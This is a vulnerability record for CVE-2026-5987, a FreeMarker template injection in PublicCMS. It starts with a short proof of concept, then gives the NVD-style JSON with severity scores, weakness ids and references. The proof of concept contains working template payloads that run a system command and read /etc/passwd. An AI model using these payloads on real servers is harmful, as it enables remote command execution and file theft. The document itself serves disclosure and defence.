CVE-2026-5987

// Conceptual PoC for FreeMarker SSTI in PublicCMS // Requires high privileges (e.g., Admin) to inject into a template field. // Payload to execute system command (e.g., whoami) String payload = "${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"; // Alternatively, reading a file // String payload = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileReader\",\"/etc/passwd\").readString()}"; // The attacker injects this payload into a vulnerable field processed by AbstractFreemarkerView.doRender // Upon rendering the page, the server executes the command.

{"cve": {"id": "CVE-2026-5987", "sourceIdentifier": "[email protected]", "published": "2026-04-09T23:17:02.133", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Sanluan PublicCMS up to 6.202506.d. This affects the function AbstractFreemarkerView.doRender of the file publiccms-parent/publiccms-core/src/main/java/com/publiccms/common/base/AbstractFreemarkerView.java of the component FreeMarker Template Handler. Such manipulation leads to improper neutralization of special elements used in a template engine. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-791"}, {"lang": "en", "value": "CWE-1336"}]}], "references": [{"url": "https://github.com/sanluan/PublicCMS/", "source": "[email protected]"}, {"url": "https://github.com/sanluan/PublicCMS/issues/113", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/792385", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356541", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356541/cti", "source": "[email protected]"}]}}